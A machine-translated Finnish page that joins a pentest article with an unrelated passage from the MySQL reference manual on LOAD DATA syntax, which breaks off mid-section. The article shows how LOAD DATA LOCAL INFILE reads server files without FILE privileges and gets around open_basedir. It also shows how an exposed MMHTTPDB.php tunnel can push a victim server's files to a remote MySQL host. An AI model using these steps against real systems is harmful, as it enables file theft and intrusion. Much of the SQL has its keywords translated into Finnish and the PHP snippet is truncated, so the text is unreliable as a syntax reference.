Lataa esimerkkejä paikallisista tiedostoista. MySQL-viiteopas. Syntaksi LOAD DATA INFILE

Kuvaan melko yleistä tilannetta. Pentestin aikana saatiin pääsy etäisännän phpMyAdminiin, mutta sen kautta ei ollut mahdollista päästä tiedostoihin. Syynä on pahamaineinen FILE_PRIV=no-lippu MySQL-daemonin asetuksissa. Monet ihmiset luovuttavat tässä tilanteessa ja uskovat, että isännässä olevia tiedostoja ei voi enää lukea tällä tavalla. Mutta näin ei aina ole.

VAROITUS

Kaikki tiedot on tarkoitettu vain tiedoksi. Toimittajat tai kirjoittaja eivät ole vastuussa tämän artikkelin materiaalien mahdollisesti aiheuttamista haitoista.

Alkusoitto

Kun on kyse MySQL DBMS:n vuorovaikutuksesta tiedostojärjestelmän kanssa, he yleensä muistavat:

  • LOAD_FILE-toiminto, jonka avulla voit lukea palvelimella olevia tiedostoja;
  • SELECT ... INTO OUTFILE -rakenne, jota voidaan käyttää uusien tiedostojen luomiseen.

Vastaavasti, jos sinulla on pääsy phpMyAdminiin tai mihin tahansa muuhun etäkoneen asiakkaaseen, voit suurella todennäköisyydellä päästä tiedostojärjestelmä. Mutta vain, jos FILE_PRIV=yes-lippu on asetettu demonin asetuksiin, mikä ei aina pidä paikkaansa. Tässä tapauksessa meidän on muistettava toinen operaattori, joka on paljon vähemmän tunnettu, mutta jolla on samalla melko tehokas toiminnallisuus. Puhun LOAD DATA INFILE -operaattorista, jonka ominaisuuksia käsitellään tässä artikkelissa.

Vuorovaikutus PHP:n ja MySQL:n välillä

PHP on yleisin kieli verkkosovellusten luomiseen, joten kannattaa tutustua tarkemmin sen vuorovaikutukseen tietokannan kanssa.

PHP4:ssä MySQL-asiakaskirjastot sisältyivät oletuksena ja sisältyivät PHP-jakeluun, joten asennuksen aikana voit jättää MySQL:n pois käytöstä vain määrittämällä vaihtoehdon

Ilman mysql.

PHP5 tulee ilman asiakaskirjastoa. *nix-järjestelmissä PHP5 käännetään yleensä palvelimelle jo asennettuun libmysqlclient-kirjastoon, yksinkertaisesti asettamalla vaihtoehto

Kanssa-mysql=/usr

kokoonpanon aikana. Versioon 5.3 asti matalan tason MySQL-asiakaskirjastoa (libmysql) käytetään kuitenkin vuorovaikutukseen MySQL-palvelimen kanssa. Tämä käyttöliittymä ei ole optimoitu kommunikointiin PHP-sovellusten kanssa.

PHP 5.3:n ja sitä uudemman version versioille kehitettiin MySQL Native Driver (mysqlnd), ja äskettäin julkaistussa PHP 5.4:n versiossa tätä ohjainta käytetään oletuksena. Vaikka sisäänrakennettu MySQL-ohjain on kirjoitettu PHP:n laajennukseksi, on tärkeää ymmärtää, että se ei tarjoa uutta API:ta PHP-ohjelmoijalle. API tietokantaan MySQL-tiedot ohjelmoijalle ne tarjoavat MySQL-, mysqli- ja PDO_MYSQL-laajennukset. Nämä laajennukset voivat käyttää sisäänrakennettua MySQL-ohjainta kommunikoidakseen MySQL-daemonin kanssa.

Sisäänrakennetun MySQL-ohjaimen käyttö tarjoaa joitain etuja MySQL-asiakaskirjastoon verrattuna: sinun ei esimerkiksi tarvitse asentaa MySQL:ää PHP:n rakentamiseen tai tietokantakomentosarjojen käyttämiseen. Lisää yksityiskohtainen tieto Tietoja MySQL Native Driverista ja sen eroista libmysql:stä löytyy dokumentaatiosta.

MySQL-, mysqli- ja PDO_MYSQL-laajennukset voidaan määrittää erikseen käyttämään joko libmysql- tai mysqlnd-laajennuksia. Jos esimerkiksi haluat määrittää MySQL-laajennuksen käyttämään MySQL-asiakaskirjastoa ja mysqli-laajennuksen toimimaan MySQL Native -ohjaimen kanssa, sinun on määritettävä seuraavat asetukset:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

LATAA TIEDOT Syntaksi

LOAD DATA -käsky, kuten dokumentaatio sanoo, lukee rivit tiedostosta ja lataa ne taulukkoon erittäin suurella nopeudella. Sitä voidaan käyttää avainsana LOCAL (saatavilla MySQL 3.22.6:ssa ja uudemmissa), joka määrittää, mistä tiedot ladataan. Jos sana LOCAL puuttuu, palvelin lataa määritetyn tiedoston taulukkoon sen kanssa paikallinen kone, eikä asiakkaan koneelta. Toisin sanoen tiedostoa ei lue MySQL-asiakas, vaan MySQL-palvelin. Mutta tämä toiminto vaatii jälleen FILE-oikeudet (FILE_PRIV=kyllä-lippu). Tässä tapauksessa käskyn suorittamista voidaan verrata LOAD_FILE-funktion käyttöön - ainoana erona on, että tiedot ladataan taulukkoon tulostuksen sijaan. Siten LOAD DATA INFILE:n käyttäminen tiedostojen lukemiseen on järkevää vain silloin, kun LOAD_FILE-toiminto ei ole käytettävissä, eli MySQL-palvelimen hyvin vanhoissa versioissa.

Mutta jos operaattoria käytetään tässä muodossa: LOAD DATA LOCAL INFILE, eli käyttämällä sanaa LOCAL, asiakasohjelma lukee tiedoston (asiakkaan koneella) ja lähettää sen palvelimelle, jossa tietokanta sijaitsee. Tässä tapauksessa FILE-oikeuksia ei luonnollisesti tarvita tiedostojen käyttämiseen (koska kaikki tapahtuu asiakkaan koneella).

MySQL/mysqli/PDO_MySQL-laajennukset ja LOAD DATA LOCAL -käsky

MySQL-laajennuksessa LOCALin käyttöä ohjaa PHP_INI_SYSTEM-direktiivi mysql.allow_local_infile. Oletuksena tämän direktiivin arvo on 1, ja siksi tarvitsemamme operaattori on yleensä käytettävissä. Mysql_connect-funktio mahdollistaa myös LOAD DATA LOCAL -toiminnon käytön, jos viides argumentti sisältää vakion 128.

Kun PDO_MySQL-laajennusta käytetään yhteyden muodostamiseen tietokantaan, voimme ottaa käyttöön myös LOCAL-tuen käyttämällä vakiota PDO::MYSQL_ATTR_LOCAL_INFILE (kokonaisluku)

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Mutta suurimmat mahdollisuudet työskennellä LOAD DATA -operaattorin kanssa tarjoaa mysqli-laajennus. Tämä laajennus sisältää myös PHP_INI_SYSTEM-direktiivin mysqli.allow_local_infile, joka säätelee LOCALin käyttöä.

Jos yhteys muodostetaan mysqli_real_connectin kautta, mysqli_options-sovelluksella voimme sekä ottaa käyttöön että poistaa käytöstä PAIKALLISEN tuen. Lisäksi mysqli_set_local_infile_handler-toiminto on saatavilla tässä laajennuksessa, jonka avulla voit rekisteröidä takaisinsoittotoiminnon käsittelemään LOAD DATA LOCAL INFILE -käskyn lukemien tiedostojen sisältöä.

Tiedostojen lukeminen

Huomaavainen lukija on luultavasti jo arvannut, että jos meillä on tili phpMyAdminissa, voimme lukea mielivaltaisia ​​tiedostoja ilman FILE-oikeuksia ja jopa ohittaa open_basedir-rajoitukset. Loppujen lopuksi hyvin usein sekä asiakas (tässä tapauksessa phpMyAdmin) että MySQL-daemon sijaitsevat samalla koneella. MySQL-palvelimen suojauskäytännön rajoituksista huolimatta voimme hyödyntää sitä, että tämä käytäntö ei koske asiakasta ja silti lukea tiedostoja järjestelmästä työntämällä ne tietokantaan.

Algoritmi on yksinkertainen. Riittää, kun suoritat seuraavat SQL-kyselyt:

  1. Luomme taulukon, johon tallennamme tiedostojen sisällön: CREATE TABLE temp(sisältöteksti);
  2. Lähetämme tiedoston sisällön luotuun taulukkoon: LATAA TIEDOT PAIKALLINEN INFILE "/etc/hosts" TAULUKKOON temp KENTÄT, JOTKA PÄÄTTEE "eof" PÄÄTTÄVÄT "" RIVIT, JOTKA PÄÄTTEE "eof";

Voila. /etc/hosts-tiedoston sisältö on nyt temp-taulukossa. Haluatko lukea binaaritiedostoja? Ei ongelmaa. Jos luomme ensimmäisessä vaiheessa seuraavanlaisen taulukon:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

sitten siihen on mahdollista ladata binääritiedostoja. Totta, ylimääräisiä bittejä lisätään tiedostojen loppuun, mutta ne voidaan poistaa missä tahansa hex-editorissa. Tällä tavalla voit ladata IonCube/Zend/TrueCrypt/NuSphere-suojattuja komentosarjoja palvelimelta ja purkaa ne.

Toinen esimerkki siitä, kuinka voit käyttää LOAD DATA LOCAL INFILE -toimintoa, on selvittää polku Apache-kokoonpanoon. Tämä tehdään seuraavasti:

  1. Ensin selvitetään polku binaariin; tehdäksesi tämän, lue /proc/self/cmdline yllä kuvatulla menetelmällä.
  2. Ja sitten luemme binaarin suoraan, josta etsimme HTTPD_ROOT/SERVER_CONFIG_FILE.


On selvää, että tässä tilanteessa phpMyAdmin-skriptit toimivat asiakkaan roolissa muodostaessaan yhteyden tietokantaan. Ja phpMyAdminin sijasta voit käyttää mitä tahansa muuta verkkokäyttöliittymää työskentelemään MySQL:n kanssa.

Voit esimerkiksi käyttää komentosarjoja tietokannan varmuuskopiointiin ja palauttamiseen. Jo vuonna 2007 ranskalainen hakkeri lempinimellä acidroot julkaisi hyväksikäytön, joka perustui tähän huomautukseen ja mahdollisti tiedostojen lukemisen phpBB-hallintapaneelista<= 2.0.22.

Tunneli on kätevä. Tunneli ei ole turvallinen

Monimutkaisia ​​verkkosovelluksia asennettaessa tarvitaan usein suora pääsy tietokantaan esimerkiksi alkukonfigurointia ja komentosarjojen säätämistä varten. Siksi joissakin tapauksissa on suositeltavaa asentaa palvelimelle yksinkertainen komentosarja - ns. MySQL-tunneli, jonka avulla voit suorittaa tietokantakyselyitä käyttämällä kätevää asiakasta raskaan phpMyAdminin sijaan.

Tietokannan kanssa työskentelyyn tarkoitettuja tunneleita on useita, mutta ne kaikki eivät ole kovin yleisiä. Ehkä yksi tunnetuimmista on Macromedia Dream Weaver Server Scripts. Voit tarkastella tämän skriptin lähdekoodia.

Suurin ero MySQL Tunnelin ja phpMyAdminin välillä on tarve syöttää tietokannan sisäänkirjautumistunnuksen ja salasanan lisäksi myös isäntä, johon yhteys muodostetaan. Samaan aikaan tunnelit jätetään usein aktiiviksi varmuuden vuoksi, ei koskaan tiedä mitä muuta pitää säätää. Vaikuttaa siltä, ​​että voit käyttää niitä vain, jos sinulla on tili tietokannassa - miksi sitten pelätä? Lyhyesti sanottuna näyttää siltä, ​​​​että tunneli ei aiheuta erityistä turvallisuusuhkaa verkkopalvelimelle. Mutta todellisuudessa kaikki ei ole niin hyvin kuin miltä ensi silmäyksellä näyttää.

Harkitse seuraavaa tilannetta. Anna palvelimelle A olla sivusto site.com, jossa on muodostettu tunneli http://site.com/_mmServerScripts/MMHTTPDB.php. Oletetaan, että palvelimella A on mahdollista käyttää LOAD DATA LOCAL -toimintoa (kuten edellä kerrottiin, tämä on mahdollista esim. oletusasetuksissa). Tässä tapauksessa voimme ottaa MySQL-etäpalvelimen, jonka tietokantoihin pääsee käsiksi mistä tahansa ja joka mahdollistaa myös LOCALin käytön, ja muodostaa yhteyden tähän palvelimeen tunnelin avulla. Tiedot MySQL-etäpalvelimeen yhdistämistä varten:

DB-isäntä: xx.xx.xx.xxx DB-nimi: name_remote_db DB-käyttäjä: our_user DB Pass: our_pass

Tässä tilanteessa palvelin A toimii asiakkaan roolissa, ja siksi voimme lähettää tiedostoja sen isännästä etätietokantaan tai toisin sanoen lukea tiedostoja. Seuraavalla yksinkertaisella kyselyllä:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LATAA TIEDOT PAIKALLINEN INFILE /polku/to/script/skripti/setup_INFILE_TABLEPHpttup_TOABYT. eof__" ESCAP ED BY " " "__eof__" PÄÄTTÄMÄT RIVAT

Itse asiassa tämä haavoittuvuus on vaarallisempi kuin tavallinen tiedostojen lukeminen: sen avulla voit loppujen lopuksi lukea palvelimelle A asennettujen komentosarjojen asetustiedostoja. Saman tunnelin kautta pääset jo suoraan tietokantaan, joka hallitsee näitä komentosarjoja. Yllä kuvattu tekniikka lihastunnelien käyttämiseksi voidaan hieman yleistää ja soveltaa, kun hyödynnetään unserialize-haavoittuvuuksia.


Asiakas-palvelin

LOAD DATA:n ominaisuuksien ymmärtämiseksi paremmin on muistettava, että MySQL DBMS käyttää perinteistä asiakas-palvelin-arkkitehtuuria. Kun työskentelemme MySQL:n kanssa, työskentelemme itse asiassa kahden ohjelman kanssa:

  • Tietokantapalvelinohjelma, joka sijaitsee tietokoneessa, johon tietokanta on tallennettu. Mysqld-daemon kuuntelee asiakkaiden pyyntöjä verkon kautta ja käyttää tietokannan sisältöä tarjoten asiakkaiden pyytämät tiedot. Jos mysqld käynnistetään vaihtoehdolla --local-infile=0, LOCAL ei toimi;
  • Asiakasohjelma muodostaa yhteyden palvelimeen ja lähettää pyynnöt palvelimelle. MySQL DBMS -jakelu sisältää useita asiakasohjelmia: MySQL-konsoliasiakkaan (yleisimmin käytetty) sekä mysqldump, mysqladmin, mysqlshow, mysqlimport ja niin edelleen. Ja tarvittaessa voit jopa luoda oman asiakasohjelman, joka perustuu tavalliseen libmysql-asiakaskirjastoon, joka tulee MySQL DBMS:n mukana.

Jos et voi käyttää LOAD DATA LOCAL -käskyä normaalia MySQL-asiakasohjelmaa käytettäessä, sinun tulee käyttää --local-infile-kytkintä:

Mysql --local-infile sampdb mysql> LATAA TIEDOT LOCAL INFILE "jäsen.txt" TABLE-jäsen;

Tai määritä asiakkaalle vaihtoehto /my.cnf-tiedostossa:

Local-infile=1

On tärkeää huomata, että oletusarvoisesti kaikki MySQL-asiakkaat ja -kirjastot on käännetty --enable-local-infile-vaihtoehdolla varmistaakseen yhteensopivuuden MySQL 3.23.48:n ja sitä vanhempien versioiden kanssa, joten LOAD DATA LOCAL on yleensä saatavilla tavallisille asiakkaille. MySQL-palvelimelle komennot eivät kuitenkaan lähetetä pääasiassa konsolista, vaan komentosarjoista, joten web-kehityskielillä on myös asiakkaita tietokannan kanssa työskentelemiseen, jotka voivat poiketa toiminnaltaan tavallisesta MySQL-asiakkaasta.

Tietenkin tämä LOAD DATA -käskyn ominaisuus voi olla uhka järjestelmän turvallisuudelle, ja siksi alkaen MySQL 3.23.49:stä ja MySQL 4.0.2:sta (4.0.13 Win) LOCAL-vaihtoehto toimii vain, jos molemmat asiakas ja palvelin ottaa sen käyttöön.

Ohita open_basedir-rajoitukset

LOAD DATA:n avulla voit usein ohittaa open_basedir-rajoitukset. Tästä voi olla hyötyä, jos meillä on esimerkiksi pääsy yhden käyttäjän hakemistoon jaetussa hosting-palvelussa, mutta haluamme lukea skriptejä toisen käyttäjän kotihakemistosta. Sitten tämän skriptin asentaminen

1)); $e=$pdo->exec("LATAA TIETOJEN PAIKALLINEN INFIILE "./polku/tiedostoon" TAULUKON PAIKALLISEEN testikenttään, JOTKA PÄÄTTEE "__eof__" POISTETTU: "" RIVIT, JOTKA PÄÄTTEE "__eof__""); $pdo = null; ?>

Johtopäätös

On mielenkiintoista, että LOAD DATA -operaattorin kuvattu kyky on ollut tiedossa ainakin kymmenen vuotta. Maininta siitä löytyy esimerkiksi lipusta [#15408] (Safe Mode / MySQL Vuln 2002-02-06), ja sitten samanlaisia ​​kysymyksiä nousi toistuvasti esille osoitteessa bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. Mihin kehittäjät vastasivat sanatarkasti seuraavasti:

[sähköposti suojattu] Se ei ole bugi, se on ominaisuus :)

Tai he antoivat lipun "Status: Wont fix". Tai ne rajoittuivat korjauksiin, jotka eivät ratkaisseet melkein mitään. Lippuja tästä aiheesta nousi taas. Siksi määritetty menetelmä open_basedir-argumentin ohittamiseksi toimii edelleen melko suurella määrällä palvelimia. Uuden mysqlnd-ohjaimen myötä näyttää kuitenkin siltä, ​​että tehtiin päätös tehdä merkittäviä muutoksia: oletusasennuksilla tätä operaattoria ei nyt suoriteta ollenkaan [#54158] [#55737]. Toivotaan, että lähitulevaisuudessa kehittäjät laittavat asiat järjestykseen tässä asiassa.

LATAA TIEDOT INFILE "tiedoston_nimi.txt" TAULUKKOON tbl_name [ SULJETTU ""] ] [(sarakkeen_nimi,...)]

LOAD DATA INFILE -komento lukee rivit tekstitiedostosta ja lisää ne taulukkoon erittäin suurella nopeudella. Jos LOCAL-avainsana on määritetty, tiedosto luetaan asiakaspalvelimelta. Jos LOCAL-asetusta ei ole määritetty, tiedoston on sijaittava palvelimella. (PAIKALLINEN vaihtoehto on saatavilla MySQL-versiossa 3.22.6 ja uudemmissa.)

Jos luettavat tekstitiedostot ovat palvelimella, näiden tiedostojen tulee turvallisuussyistä joko sijaita tietokantahakemistossa tai olla kaikkien käyttäjien luettavissa. Lisäksi, jotta voit käyttää LOAD DATA INFILE -komentoa palvelintiedostoissa, sinulla on oltava FILE-oikeudet palvelinisännässä. Katso kohta 4.2.7 MySQL:n myöntämät oikeudet.

MySQL 3.23.49:ssä ja MySQL 4.0.2:ssa LOCAL-komento ei toimi, jos mysqld-daemon käynnistetään arvolla --local-infile=0 tai jos asiakas ei ole PAIKALLINEN käytössä. Katso kohta 4.2.4 LOAD DATA LOCAL -komentoon liittyvät turvallisuusnäkökohdat.

Jos LOW_PRIORITY-avainsana on määritetty, tämän LOAD DATA -komennon suorittaminen viivästyy, kunnes muut asiakkaat ovat lopettaneet taulukon lukemisen.

Jos määrität CONCURRENT-avainsanan työskennellessäsi MyISAM-taulukoiden kanssa, muut säikeet voivat hakea tietoja taulukosta, kun LOAD DATA -komento on käynnissä. Tämän ominaisuuden käytöllä on tietysti pieni vaikutus LOAD DATA -suoritukseen, vaikka mikään muu säie ei käyttäisi taulukkoa samaan aikaan.

Käytettäessä LOCAL-vaihtoehtoa suoritus voi olla hieman hitaampaa kuin sallia palvelimen pääsyn tiedostoihin suoraan, koska tiedoston sisällön on siirrettävä asiakaskoneelta palvelimelle. Toisaalta tässä tapauksessa ei tarvita FILE-oikeuksia paikallisten tiedostojen lataamiseen.

Kun käytetään MySQL:n versiota 3.23.24 vanhempia versioita, LOAD DATA INFILE -komento ei voi lukea FIFO:sta. Jos haluat lukea FIFO:sta (esim. gunzip stdout), käytä LOAD DATA LOCAL INFILE -komentoa.

Voit myös ladata datatiedostoja käyttämällä mysqlimport-apuohjelmaa. Tämä apuohjelma lataa tiedostot lähettämällä LOAD DATA INFILE -komennot palvelimelle. Valinta --local saa mysqlimportin lukemaan datatiedostoja asiakaspalvelimelta. Voit määrittää --compress-vaihtoehdon parantaaksesi suorituskykyä hitaissa verkoissa, jos sekä asiakas että palvelin tukevat tiedonpakkausprotokollaa.

Tapauksissa, joissa tiedostot sijaitsevat palvelimella, palvelin toimii seuraavien sääntöjen mukaisesti:

  • Jos tiedostolle on määritetty absoluuttinen (täysi) polku, palvelin käyttää tätä polkua ilman muutoksia.
  • Jos tiedostoon on määritetty suhteellinen polku, joka määrittää yhden tai useamman aloitushakemiston, tiedostoa etsitään suhteessa määritettyihin hakemistoihin palvelimen tietohakemistossa (datadir).
  • Jos tiedoston polku annetaan ilman aloitushakemistoja, palvelin etsii tätä tiedostoa käytettävän tietokannan hakemistosta.

Tästä seuraa, että tiedosto, joka on määritetty nimellä `./omatiedosto.txt', luetaan palvelimen tietohakemistosta, kun taas tiedosto, joka on määritetty nimellä `omatiedosto.txt', luetaan käytetystä tietokantahakemistosta. Esimerkiksi seuraava LOAD DATA -komento lukee data.txt-tiedoston db1:n tietokantahakemistosta, koska db1 on nykyinen tietokanta, vaikka komento nimenomaisesti kehottaa lataamaan tiedoston db2-tietokantataulukkoon:

Mysql>USE db1; mysql LATAA TIEDOT INFILE "data.txt" TABLE db2.my_table;

Avainsanat REPLACE ja IGNORE ohjaavat sellaisten syöttötietueiden käsittelyä, jotka ovat olemassa olevien tietueiden kaksoiskappaleita, joilla on samat yksilölliset avainarvot. Jos valitset REPLACE, uudet rivit korvaavat nykyiset rivit samalla yksilöivällä avaimella. Jos määrität OHJAA , syöttörivit, joilla on sama yksilöllinen avain kuin olemassa olevilla, ohitetaan. Jos mitään parametreista ei ole määritetty, jos kaksoisavaimen arvo havaitaan, syntyy virhe ja muu tekstitiedosto jätetään huomioimatta.

Jos tiedot ladataan paikallisesta tiedostosta käyttämällä LOCAL-avainsanaa, palvelin ei voi keskeyttää tiedonsiirtoa kesken tämän toiminnon, joten komennon oletussuoritus on sama kuin silloin, kun IGNORE on määritetty.

Käytettäessä LOAD DATA INFILE:tä tyhjissä MyISAM-taulukoissa, kaikki ei-yksilölliset indeksit luodaan erillisenä eränä (kuten kohdassa KORJAUS). Tämä yleensä nopeuttaa LOAD DATA INFILE -toimintoa merkittävästi, kun indeksejä on paljon.

LOAD DATA INFILE -komento täydentää komentoa SELECT ... INTO OUTFILE. Katso kohta 6.4.1 SELECT-lausekkeen syntaksi. Jos haluat kirjoittaa tietoja tietokannasta tiedostoon, käytä SELECT ... INTO OUTFILE -näppäintä. Tietojen lukemiseen takaisin tietokantaan käytetään LOAD DATA INFILE -toimintoa. KENTTÄ- ja RIVOJEN syntaksi on sama molemmissa komennoissa. Molemmat osat ovat valinnaisia, mutta jos molemmat on määritetty, FIELDS on edeltävä RIVIä.

Jos FIELDS on määritetty, jokainen sen alilauseke (TERMINATED BY, ENCLOSED BY ja ESCAPED BY) on myös valinnainen, mutta vähintään yksi niistä on määritettävä.

Jos FIELDS-käskyä ei ole määritetty, sen parametrien oletusarvot ovat seuraavat:

KENTÄT, JOTKA PÄÄTTEE KÄYTTÖ "\\"

Jos LINES-käskyä ei ole määritetty, sillä on oletusarvoisesti seuraava rakenne:

RIVIT, JOTKA PÄÄTTEE "\n"

Toisin sanoen oletusasetuksissa LOAD DATA INFILE -komento toimii syötetietoja luettaessa seuraavasti:

  • Etsi rivin päät `\n"-merkkeinä
  • Jaa rivit kenttiin sarkainmerkkien perusteella.
  • Älä odota kenttien olevan lainausmerkkien sisällä.
  • Tulkitse sarkain-, rivinvaihto- tai `\"-merkit, jotka esiintyvät ennen "\"-merkkiä, literaaleina, jotka ovat osa kentän arvoa.

Toisaalta, jos kirjoitustulosteen oletusasetukset ovat voimassa, SELECT ... INTO OUTFILE -komento toimii seuraavasti:

  • Lisää sarkainmerkkejä kenttien väliin.
  • Älä laita kenttiä lainausmerkkeihin. Käytä \"-merkkejä välttääksesi sarkain-, rivinvaihto- tai "\"-merkkejä, jotka näkyvät kenttäarvojen joukossa.
  • Lisää rivinvaihto jokaisen merkinnän loppuun.

Huomaa, että FIELDS ESCAPED BY `\" -merkintä vaatii kaksi kenoviivaa arvolle, joka tulee lukea yhtenä kenoviivana.

OHITA numeroRIVIT -vaihtoehtoa voidaan käyttää ohittamaan sarakkeiden nimien otsikko tiedoston alussa:

Mysql> LATAA TIEDOT INFILE "/tmp/tiedoston_nimi" TABLE-testi OHITTAA 1 RIVIÄ;

Kun käytät SELECT ... INTO OUTFILE -toimintoa yhdessä LOAD DATA INFILE -toiminnon kanssa tietojen lukemiseen tietokannasta tiedostoon ja sitten takaisin tiedostosta tietokantaan, molempien komentojen kentän ja merkkijonon käsittelyasetusten on oltava samat. Muuten LOAD DATA INFILE ei pysty tulkitsemaan tämän tiedoston sisältöä oikein. Oletetaan, että SELECT ... INTO OUTFILE -komentoa käytetään kirjoitettaessa tiedostoon, jonka kentät on erotettu pilkuilla:

Mysql SELECT * OUTFILE "data.txt" KENTÄT PÄÄTTÄT "," FROM ...;

Mysql> LATAA TIEDOT INFILE "data.txt" TAULUKKOON table2 KENTÄT PÄÄTTÄVÄT ",";

Mysql> LATAA TIEDOT INFILE "data.txt" TAULUKKOON table2 KENTÄT, JOITA PÄÄTTEE "\t";

Samanlainen tulos saavutettaisiin, jos jokainen syöttörivi tulkittaisiin erilliseksi kenttään.

LOAD DATA INFILE -komentoa voidaan käyttää myös ulkoisista lähteistä saatujen tiedostojen lukemiseen. Esimerkiksi dBASE-tietokantamuotoisen tiedoston kentät erotetaan pilkuilla ja suljetaan lainausmerkeillä. Jos tämän tiedoston rivit päättyvät rivinvaihtoon, voit kirjoittaa tiedoston seuraavalla komennolla, joka kuvaa kenttiä ja rivejä käsitteleviä asetusvaihtoehtoja:

Mysql> LATAA TIEDOT INFILE "data.txt" TAULUKKOON tbl_name KENTÄT, JOTKA PÄÄTTEE "," SULJETTU """ RIVIÄ PÄÄTTEE "\n";

Mikä tahansa kenttiä ja merkkijonoja käsittelevistä vaihtoehdoista voi määrittää tyhjän merkkijonon (""). Jos merkkijono ei ole tyhjä, kenttien FIELDS ENCLOSED BY ja FIELDS ESCAPED BY arvojen tulee sisältää yksi merkki. KENTÄT PÄÄTTEITÄ ja RIVIÄ PÄÄTTEITÄ vaihtoehtoarvot voivat sisältää useamman kuin yhden merkin. Jos esimerkiksi haluat kirjoittaa rivit, jotka päättyvät "carriage return-line feed" -pareihin (kuten MS DOS- tai Windows-tekstitiedostoissa), määrität seuraavan lausekkeen: LINES LOPETTAA "\r\n" .

CREATE TABLE -vitsit (INT NOT NULL AUTO_INCREMENT PRIMARY KEY, vitsi TEKSTI EI NULL); LATAA TIEDOT INFILE "/tmp/jokes.txt" TABLE vitseihin KENTÄT, JOTKA PÄÄTTEE ""; "\n%%\n" PÄÄTTEITÄ RIVIÄ (vitsi);

FIELDS ENCLOSED BY -vaihtoehto ohjaa kenttiä, jotka on suljettu tiettyjen merkkien sisällä. Jos OPTIONALLY-parametri jätetään pois, tulosteessa (SELECT ... INTO OUTFILE) kaikki kentät suljetaan kohdassa ENCLOSED BY määritellyillä merkeillä. Alla on esimerkki tällaisesta tulosteesta (käyttäen pilkkua kentän erottimena):

"1","merkkijono","100.20" "2","merkkijono, joka sisältää , pilkun","102.20" "3","merkkijono, joka sisältää \" lainauksen","102.20" "4"," merkkijono, joka sisältää \", lainausmerkin ja pilkun","102.20"

Jos OPTIONALLY-parametri on määritetty, vain CHAR- ja VARCHAR-tyyppiset kentät korostetaan kohdassa LIITTYVÄT:

1"merkkijono",100.20 2"merkkijono, joka sisältää pilkun",102.20 3,"merkkijono, joka sisältää \"lainausmerkin",102.20 4"merkkijono, joka sisältää \", lainausmerkin ja pilkun",102.20

Huomaa, että ENCLOSED BY -merkkien esiintyminen kentän arvossa merkitään ESCAPED BY:n etuliitteellä. Huomaa myös, että jos ESCAPED BY -arvo on tyhjä, on mahdollista luoda tuloste, jota LOAD DATA INFILE -käsky ei voi lukea oikein. Jos esimerkiksi estomerkki on tyhjä merkkijono, yllä näkyvä tulos on alla olevan kaltainen. Huomaa, että neljännen rivin toinen kenttä sisältää lainausmerkin jälkeen pilkun, joka (virheellisesti) näyttää rajaavan tämän kentän:

1"merkkijono",100.20 2,"merkkijono, joka sisältää ,pilkun",102.20 3,"merkkijono, joka sisältää "lainausmerkin",102.20 4,"merkkijono, joka sisältää ", lainauksen ja pilkun",102.20

Syötettä varten ENCLOSED BY -merkki, jos se on olemassa, poistetaan kentän arvojen molemmista päistä. (Tämä pätee riippumatta siitä, onko OPTIONALLY-parametri määritetty vai ei; OPTIONALLY-parametria ei oteta huomioon syötetietojen kanssa työskennellessä.) Jos kohdataan ENCLOSED BY -merkki, jota edeltää ESCAPED BY -merkki, se tulkitaan osaksi kentän nykyinen arvo. Lisäksi kentässä esiintyvät kaksinkertaiset ENCLOSED BY -merkit tulkitaan yksittäisiksi ENCLOSED BY -merkeiksi, jos itse kenttä alkaa tällä merkillä. Jos esimerkiksi LISÄTTY """ on määritetty, lainaukset käsitellään seuraavasti:

"""SUU""" pomo" -> ""SUU" pomo "BIG" pomo -> "BIG" pomo ""BIG"" pomo -> ""BIG"" pomo

FIELDS ESCAPED BY -vaihtoehto ohjaa erikoismerkkien kirjoittamista tai lukemista. Jos FIELDS ESCAPED BY -merkki ei ole tyhjä, sitä käytetään tulosteen etuliitteenä seuraaville merkeille:

  • KENTÄT KÄYTETTY symbolilla
  • KENTÄT LISÄTTY symbolilla
  • FIELDS TERMINATE BY- ja LINES TERMINATE BY -arvojen ensimmäinen merkki
  • ASCII-merkki 0 (itse asiassa ASCII "0" kirjoitetaan poistomerkin jälkeen, ei tavua, jonka arvo on nolla)

Jos FIELDS ESCAPED BY -merkki on tyhjä, mitään merkkejä ei käytetä. Itse asiassa ei ole mitään järkeä määrittää tyhjää pakomerkkiä, varsinkin jos käsiteltävien tietojen kenttäarvot sisältävät jonkin yllä olevan luettelon merkeistä.

Jos FIELDS ESCAPED BY -merkki ei ole tyhjä, syötetietojen tapauksessa tällaisen merkin esiintymät poistetaan ja tällaista esiintymää seuraava merkki otetaan kirjaimellisesti osaksi kentän arvoa. Poikkeuksissa on koodinvaihtomerkki '0" tai 'N" (esimerkiksi \0 tai \N, jos estomerkki on '\"). Nämä sekvenssit tulkitaan ASCII-merkiksi 0 (nollaarvotavu) ja NULL:ksi. Katso NULL-arvon käsittelysäännöt. alla.

Lisätietoja `\"-merkkien syntaksista on kohdassa 6.1.1 Literaalit: Merkkijonojen ja numeroiden esittäminen.

Joissakin tapauksissa kentän ja rivin käsittelyvaihtoehdot ovat vuorovaikutuksessa:

  • Jos LINES TERMINATED BY on tyhjä merkkijono ja FIELDS TERMINATED BY ei ole tyhjä merkkijono, rivit päättyvät myös merkkeihin FIELDS TERMINATED BY.
  • Jos sekä FIELDS TERMINATE BY että FIELDS ENCLOSED BY ovat tyhjiä (""), käytetään kiinteää merkkijonomuotoa (ei erottimia). Kiinteän rivin muoto ei sisällä erottimia kenttien välillä. Sen sijaan sarakearvoja luettaessa ja kirjoitettaessa käytetään sarakkeiden ``tulostusleveyttä''. Jos sarake on esimerkiksi ilmoitettu muodossa INT(7), sarakkeen arvot kirjoitetaan käyttämällä 7 merkin levyisiä kenttiä. Tämän sarakkeen syöttöarvot saadaan lukemalla 7 merkkiä. Kiinteä merkkijonomuoto vaikuttaa myös NULL-arvojen käsittelyyn (katso alla). Huomaa, että kiinteän koon muoto ei toimi käytettäessä monitavuista merkistöä.

NULL-arvoja käsitellään eri tavalla käytetyistä FIELDS- ja LINES-vaihtoehdoista riippuen:

